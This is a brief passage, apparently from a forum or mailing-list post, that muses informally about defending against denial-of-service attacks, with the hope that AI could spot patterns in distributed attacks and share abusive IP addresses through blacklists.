amounts to "denial of service". All yer password
and port-knocking trix won't help much there. Not
entirely sure if that can be dealt with ON *YOUR* BOX,
but maybe. I'm hoping distributed attacks show a
*pattern* that 'AI' can recognize and filter ... and
pass "likely-abused IP addresses" to an online DB in
the same fashion as e-mail blacklists. That's IQ
which grows.